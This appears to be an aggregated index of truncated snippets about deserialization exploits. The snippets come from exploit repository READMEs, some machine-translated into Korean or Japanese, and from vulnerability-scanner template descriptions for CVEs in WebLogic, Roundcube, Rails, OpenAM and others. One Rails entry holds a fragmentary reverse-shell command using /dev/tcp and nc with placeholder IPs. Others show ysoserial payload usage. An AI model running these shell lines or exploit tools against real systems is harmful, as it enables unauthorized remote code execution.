CVE-2020-6364

CVE-2020-6364 CA APM Team Center Wily Introscope에서의 원격 코드 실행. 원본 권고 CA APM Team Center의 역직렬화 취약점으로 인해 서버에서 인증되지 않은 원격 코드 실행이 발생합니다. 서버에 인증할 때 악명 높은 rO0 문자열로 시작하는 쿠키가 반환되는데, 이는 base64로 인코딩된 직렬화 객체를 나타냅니다. 정적으로 문제를 완전히 추적하지는 않았지만, 다음 코드가 취약점이 있는 코드일 것입니다. public class HttpRequestHeaderInfo implemen...

CVE-2018-3245

CVE-2018-3245 단계 1 java -jar ysoserial-cve-2018-3245.jar WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler CVE2018324...

CVE-2018-2893

CVE-2018-2893 Weblogic CVE-2018-2893 Enjoy テスト環境-Docker The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: 外部ネットワークにはRMIリモートサーバーがあるため、シェルを取得するのは非常に便利です。内部ネットワークの場合は、自分のRMIサーバーを指定しないと、リバースシェルを取得できません !!! 0x01 generate-payload 0x02 send-payload...

WebLogic-Shiro-shell

Java 역직렬화 기술 공유 이번 공유에서 다루는 내용은 다음과 같습니다: 1. Java 직렬화 및 역직렬화 기초 2. 역직렬화 시 왜 취약점이 발생하는가? 3. Java 리플렉션 4. ysoserial CommonsCollections2, CommonsCollections5 5. Java ClassLoader가 클래스를 로드하는 여러 방법 6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE 7. Shiro-550 rememberMe 하드코딩으로 인한 역직렬화 RCE 8. WebLogic + Shir...

CVE-2025-49113

CVE-2025-49113 – Roundcube 원격 코드 실행 RCE PoC 이 저장소는 Roundcube Webmail 1.5.10 및 1.6.11 이전 버전의 치명적인 원격 코드 실행 취약점인 CVE-2025-49113 에 대한 개념 증명PoC 익스플로잇을 포함하고 있습니다. 이 취약점은 upload.php 스크립트에서 안전하지 않은 PHP 객체 역직렬화로 인해 발생하며, 인증된 사용자가 서버에서 임의의 코드를 실행할 수 있도록 합니다. ⚠️ 면책 조항: 이 PoC는 교육 목적으로만 제공됩니다. 소유하지 않거나 테스트에 대...

jexboss

JexBoss - JBoss 및 기타 Java 역직렬화 취약점 확인 및 익스플로잇 도구 JexBoss는 JBoss 애플리케이션 서버 및 기타 Java 플랫폼, 프레임워크, 애플리케이션 등의 취약점을 테스트하고 익스플로잇하기 위한 도구입니다. 요구 사항 Python = 2.7.x urllib3 ipaddress 리눅스/맥 설치 JexBoss 최신 버전을 설치하려면 다음 명령어를 사용하세요: git clone https://github.com/joaomatosf/jexboss.git cd jexboss pip install -r...

adwind-decryptor

AdWind Decryptor AdWind/jRAT/jBifrost Java RAT가 암호화한 파일을 위한 간단한 복호화기입니다. Usage usage: java -jar AdWindDecryptor -a,--aeskeyfile AES key file path -i,--input input file path -o,--output decrypted output file path -r,--rsakeyfile serialized RSA KeyRep file path Example java -jar AdWindDecryptor.jar...

-CVE-2017-10271-

-CVE-2017-10271- CVE-2017-10271Java 역직렬화 취약점 Java 역직렬화 취약점 익스플로잇 도구 V1.0 Java 역직렬화 관련 취약점 점검 도구로, JDK 1.8 버전으로 개발되었으며, 소프트웨어 사용을 위해 JDK 1.8 이상이 설치되어 있어야 합니다...

CVE-2020-8165

CVE-2020-8165 Python 익스플로잇 이 코드는 Python3를 사용하여 CVE-2020-8165를 익스플로잇하기 위한 것입니다. 이 익스플로잇은 rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 주요 크레딧 원본 CVE 세부 정보: https://vulners.com/cve/CVE-2020-8165 제가 손보고 ArgParse를 추가한...

CVE-2019-7214

CVE-2019-7214 SmarterMail システムの .NET デシリアライゼーションにおけるリモートコード実行。 コレクション このリポジトリには、このエクスプロイトの Proof of Concept コレクションが含まれています。一部は変更なしでそのまま動作するものもあれば、変更が必要なものもあります。...

Kentico CMS Insecure Deserialization Remote Code Execution

Kentico CMS is susceptible to remote code execution via a .NET deserialization vulnerability. id: CVE-2019-10068 info: name: Kentico CMS Insecure Deserialization Remote Code Execution author: davidmckennirey severity: critical description: Kentico CMS is susceptible to remote code execution via a...

ManageEngine OpManager SumPDU 12.1 - 12.5.232 - Java Deserialization

Zoho ManageEngine OpManager Stable build before 125203 and Released build before 125233 allows Remote Code Execution via the Smart Update Manager SUM servlet. id: CVE-2020-28653 info: name: ManageEngine OpManager SumPDU 12.1 - 12.5.232 - Java Deserialization author: iamnoooob,pdresearch severity:...

VMware Aria Operations for Networks - Remote Code Execution

Aria Operations for Networks contains an authenticated deserialization vulnerability. A malicious actor with network access to VMware Aria Operations for Networks and valid 'member' role credentials may be able to perform a deserialization attack resulting in remote code execution. id:...

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

SolarWinds Web Help Desk < 12.8.7 - AjaxProxy Deserialization RCE

SolarWinds Web Help Desk contains an unauthenticated AjaxProxy deserialization remote code execution vulnerability, letting attackers run commands on the host machine without authentication, exploit requires no special privileges. id: CVE-2025-26399 info: name: SolarWinds Web Help Desk 12.8.7 -...

Apache OFBiz < 17.12.07 - Arbitrary Code Execution

Apache OFBiz has unsafe deserialization prior to 17.12.07 version An unauthenticated user can perform an RCE attack id: CVE-2021-29200 info: name: Apache OFBiz 17.12.07 - Arbitrary Code Execution author: your3cho severity: critical description: | Apache OFBiz has unsafe deserialization prior to...

Roundcube Webmail - Remote Code Execution

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization. id: CVE-2025-49113 info: name: Roundcube Webmail - Remote...

Apache ActiveMQ < 5.16.5/5.17.3 - Remote Code Execution

Once an user is authenticated on Jolokia, he can potentially trigger arbitrary code execution. In details, in ActiveMQ configurations, jetty allows org.jolokia.http.AgentServlet to handler request to /api/jolokia org.jolokia.http.HttpRequestHandlerhandlePostRequest is able to create JmxRequest...

OpenAM <= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization

Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...

Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution

Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor. This issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116. id: CVE-2026-34486 info: name: Apache Tomcat Tribes EncryptInterceptor Bypass - Remote...